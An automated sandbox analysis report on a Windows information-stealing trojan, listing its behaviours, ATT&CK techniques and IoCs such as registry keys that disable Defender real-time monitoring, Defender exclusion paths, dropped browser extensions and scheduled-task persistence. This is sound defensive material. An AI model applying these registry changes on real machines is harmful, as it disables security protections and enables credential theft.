bd214f63302f8c0efc7e193f9c29faf61c7368258875a19e14bd4d15998991db

Analysis

max time kernel
235s
max time network
236s
platform
windows7_x64
resource
win7-20240419-en
resource tags

arch:x64arch:x86image:win7-20240419-enlocale:en-usos:windows7-x64system
submitted
01-07-2024 05:07

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

bd214f63302f8c0efc7e193f9c29faf61c7368258875a19e14bd4d15998991db.exe
Size

7.3MB
MD5

e6cd825e0b1461cc3c862bfd1b8eaa0e
SHA1

b3ff8e853ab4ed8f83478fc96c05469884055a95
SHA256

bd214f63302f8c0efc7e193f9c29faf61c7368258875a19e14bd4d15998991db
SHA512

b51f65bf6d2500d0c67fecd9bf6db6d15953ffda47c94f98cd829102eb45120af2621cfcc415edf2a5410ab8f63462e8ce83f2982d86fc3d54df3cc114791ca4
SSDEEP

196608:91OT31uC6wpe4pxkL9u3BmK+lPVFPyPvrffsoRYjViMm6aP+:3OLf3xF3Bmjl94vrfkoGjEbP+

Score

10^/10

discovery evasion execution spyware stealer trojan

Malware Config

Signatures

Modifies Windows Defender Real-time Protection settings 3 TTPs 4 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

Processes:

reg.exereg.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection\DisableRealtimeMonitoring = "1"	reg.exe

Windows security bypass 2 TTPs 40 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Processes:

reg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\rPikKiIbwrQGukIChiR = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\VEEcyYEQYAyIstnON = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\bBBSFQQZU = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\bBBSFQQZU = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\VEEcyYEQYAyIstnON = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\NNMAoTKMcAkAC = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\NNMAoTKMcAkAC = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\rUfZlqUIdWiU2 = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData\fHdtCMTPryqSDgVB = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\WZpWNMsDzSAcKsSA = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\rPikKiIbwrQGukIChiR = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\rUfZlqUIdWiU2 = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\MIUMVdEgyTUn = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\MIUMVdEgyTUn = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\WZpWNMsDzSAcKsSA = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\WZpWNMsDzSAcKsSA = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\WZpWNMsDzSAcKsSA = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData\fHdtCMTPryqSDgVB = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions = "0"	reg.exe

Blocklisted process makes network request 1 IoCs

Processes:

rundll32.exe

flow pid process

27 2192 rundll32.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.EXEpowershell.EXEpowershell.exepowershell.EXEpowershell.exepowershell.exe

pid process

2556 powershell.exe
3008 powershell.EXE
1928 powershell.EXE
2516 powershell.exe
2248 powershell.EXE
1528 powershell.exe
2036 powershell.exe

flow	pid	process
27	2192	rundll32.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

Install.exerundll32.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rundll32.exe

Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

pyChMtj.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000\Control Panel\International\Geo\Nation pyChMtj.exe
Executes dropped EXE 4 IoCs

Processes:

Install.exeInstall.exeivwuiKv.exepyChMtj.exe

pid process

2832 Install.exe
2660 Install.exe
2912 ivwuiKv.exe
2860 pyChMtj.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000\Control Panel\International\Geo\Nation	pyChMtj.exe

pid	process
2832	Install.exe
2660	Install.exe
2912	ivwuiKv.exe
2860	pyChMtj.exe

Loads dropped DLL 23 IoCs

Processes:

bd214f63302f8c0efc7e193f9c29faf61c7368258875a19e14bd4d15998991db.exeInstall.exeInstall.exeWerFault.exeWerFault.exerundll32.exeWerFault.exe

pid	process
1636	bd214f63302f8c0efc7e193f9c29faf61c7368258875a19e14bd4d15998991db.exe
2832	Install.exe
2832	Install.exe
2832	Install.exe
2832	Install.exe
2660	Install.exe
2660	Install.exe
2660	Install.exe
2868	WerFault.exe
2868	WerFault.exe
2868	WerFault.exe
2408	WerFault.exe
2408	WerFault.exe
2408	WerFault.exe
2408	WerFault.exe
2408	WerFault.exe
2192	rundll32.exe
2192	rundll32.exe
2192	rundll32.exe
2192	rundll32.exe
1540	WerFault.exe
1540	WerFault.exe
1540	WerFault.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Drops Chrome extension 2 IoCs

Processes:

pyChMtj.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfcdbodapcbfckbfpmgeldfkkgjknceo\1.2.0_0\manifest.json	pyChMtj.exe
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\oikgcnjambfooaigmdljblbaeelmekem\1.0.0.0\manifest.json	pyChMtj.exe

Drops file in System32 directory 24 IoCs

Processes:

powershell.exeivwuiKv.exepyChMtj.exepowershell.EXEpowershell.exepowershell.EXEpowershell.exepowershell.exerundll32.exepowershell.EXE

description	ioc	process
File opened for modification	\??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	ivwuiKv.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\DDE8B1B7E253A9758EC380BD648952AF_A3D4688236962EEA03574DE4F61B95D9	pyChMtj.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA	pyChMtj.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B3513D73A177A2707D910183759B389B_76B4AC942398240FF309817636D6DBC9	pyChMtj.exe
File created	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	ivwuiKv.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	\??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	\??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	\??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B3513D73A177A2707D910183759B389B_D55A76EA86A3695733B952639E5D4848	pyChMtj.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat	rundll32.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat	pyChMtj.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA	pyChMtj.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B3513D73A177A2707D910183759B389B_76B4AC942398240FF309817636D6DBC9	pyChMtj.exe
File opened for modification	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	pyChMtj.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\DDE8B1B7E253A9758EC380BD648952AF_A3D4688236962EEA03574DE4F61B95D9	pyChMtj.exe
File created	C:\Windows\system32\GroupPolicy\gpt.ini	ivwuiKv.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	C:\Windows\system32\GroupPolicy\gpt.ini	ivwuiKv.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\05DDC6AA91765AACACDB0A5F96DF8199	pyChMtj.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\05DDC6AA91765AACACDB0A5F96DF8199	pyChMtj.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B3513D73A177A2707D910183759B389B_D55A76EA86A3695733B952639E5D4848	pyChMtj.exe

Drops file in Program Files directory 13 IoCs

Processes:

pyChMtj.exe

description	ioc	process
File created	C:\Program Files\Mozilla Firefox\browser\omni.ja.bak	pyChMtj.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\omni.ja	pyChMtj.exe
File created	C:\Program Files (x86)\rPikKiIbwrQGukIChiR\hnZQiBQ.dll	pyChMtj.exe
File created	C:\Program Files (x86)\NNMAoTKMcAkAC\BlYNYLZ.dll	pyChMtj.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\features\{469DEDC5-791B-41B7-99CA-EB25B08298D1}.xpi	pyChMtj.exe
File created	C:\Program Files (x86)\bBBSFQQZU\tNeCuaf.xml	pyChMtj.exe
File created	C:\Program Files (x86)\rUfZlqUIdWiU2\ZsYOGskTOESox.dll	pyChMtj.exe
File created	C:\Program Files (x86)\rPikKiIbwrQGukIChiR\ZBRqrHq.xml	pyChMtj.exe
File created	C:\Program Files (x86)\bBBSFQQZU\sOsTEo.dll	pyChMtj.exe
File created	C:\Program Files\Mozilla Firefox\browser\features\{469DEDC5-791B-41B7-99CA-EB25B08298D1}.xpi	pyChMtj.exe
File created	C:\Program Files (x86)\rUfZlqUIdWiU2\nhOLsiW.xml	pyChMtj.exe
File created	C:\Program Files (x86)\NNMAoTKMcAkAC\mHHSZFU.xml	pyChMtj.exe
File created	C:\Program Files (x86)\MIUMVdEgyTUn\gejpbem.dll	pyChMtj.exe

Drops file in Windows directory 4 IoCs

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exe

description	ioc	process
File created	C:\Windows\Tasks\bUVDAOPnPkUhchiViu.job	schtasks.exe
File created	C:\Windows\Tasks\MhsnVFKWmmyXGZkTD.job	schtasks.exe
File created	C:\Windows\Tasks\LVynAQLCTpGcVPg.job	schtasks.exe
File created	C:\Windows\Tasks\MRaTohzfdszDuijXP.job	schtasks.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Program crash 3 IoCs

Processes:

WerFault.exeWerFault.exeWerFault.exe

pid pid_target process target process

2868 2912 WerFault.exe ivwuiKv.exe
2408 2660 WerFault.exe Install.exe
1540 2860 WerFault.exe pyChMtj.exe

pid	pid_target	process	target process
2868	2912	WerFault.exe	ivwuiKv.exe
2408	2660	WerFault.exe	Install.exe
1540	2860	WerFault.exe	pyChMtj.exe

Enumerates system info in registry 2 TTPs 4 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

Install.exerundll32.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Install.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	rundll32.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

wscript.exerundll32.exepyChMtj.exeivwuiKv.exepowershell.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows Script Host\Settings	wscript.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\3e-1b-6a-dc-7c-1f\WpadDecisionReason = "1"	rundll32.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	wscript.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\3e-1b-6a-dc-7c-1f\WpadDecision = "0"	pyChMtj.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CTLs	pyChMtj.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\Certificates	pyChMtj.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	pyChMtj.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad	pyChMtj.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\My	pyChMtj.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\Certificates	pyChMtj.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\3e-1b-6a-dc-7c-1f\WpadDecisionTime = 009397ef74cbda01	pyChMtj.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\Certificates	pyChMtj.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\3e-1b-6a-dc-7c-1f	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached	ivwuiKv.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\3e-1b-6a-dc-7c-1f\WpadDecisionReason = "1"	pyChMtj.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CRLs	pyChMtj.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CRLs	pyChMtj.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{7B74648D-87EB-49B6-ADCF-4F477A4ACB04}	pyChMtj.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:"	pyChMtj.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\3e-1b-6a-dc-7c-1f\WpadDecision = "0"	rundll32.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	ivwuiKv.exe
Key created	\REGISTRY\USER\.DEFAULT\Software	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	pyChMtj.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\Certificates	pyChMtj.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 80b2a0dd74cbda01	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft	wscript.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{7B74648D-87EB-49B6-ADCF-4F477A4ACB04}\WpadDecisionReason = "1"	pyChMtj.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates	pyChMtj.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	pyChMtj.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings	pyChMtj.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	pyChMtj.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\CRLs	pyChMtj.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CRLs	pyChMtj.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	ivwuiKv.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows Script Host\Settings	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\CTLs	pyChMtj.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable = "0"	pyChMtj.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	pyChMtj.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\Certificates	pyChMtj.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{7B74648D-87EB-49B6-ADCF-4F477A4ACB04}\WpadDecisionTime = 009397ef74cbda01	pyChMtj.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{7B74648D-87EB-49B6-ADCF-4F477A4ACB04}\WpadDecision = "0"	pyChMtj.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{7B74648D-87EB-49B6-ADCF-4F477A4ACB04}\3e-1b-6a-dc-7c-1f	pyChMtj.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CRLs	pyChMtj.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable = "0"	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows Script Host	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	pyChMtj.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings = 4600000003000000090000000000000000000000000000000400000000000000000000000000000000000000000000000000000001000000020000000a7f00c6000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	wscript.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:"	pyChMtj.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CTLs	pyChMtj.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{7B74648D-87EB-49B6-ADCF-4F477A4ACB04}\3e-1b-6a-dc-7c-1f	rundll32.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\3e-1b-6a-dc-7c-1f\WpadDecisionTime = 009397ef74cbda01	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	pyChMtj.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\Certificates	pyChMtj.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\CTLs	pyChMtj.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	rundll32.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:"	rundll32.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings = 4600000003000000090000000000000000000000000000000400000000000000000000000000000000000000000000000000000001000000020000000a7f00c6000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	pyChMtj.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\3e-1b-6a-dc-7c-1f	pyChMtj.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	pyChMtj.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	pyChMtj.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	pyChMtj.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad	rundll32.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 12 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exe

pid	process
1304	schtasks.exe
236	schtasks.exe
1188	schtasks.exe
912	schtasks.exe
2836	schtasks.exe
2028	schtasks.exe
2716	schtasks.exe
2868	schtasks.exe
1848	schtasks.exe
2088	schtasks.exe
1088	schtasks.exe
904	schtasks.exe

Suspicious behavior: EnumeratesProcesses 30 IoCs

Processes:

powershell.exepowershell.EXEpowershell.EXEpowershell.exepowershell.EXEpyChMtj.exepowershell.exepowershell.exe

pid	process
2556	powershell.exe
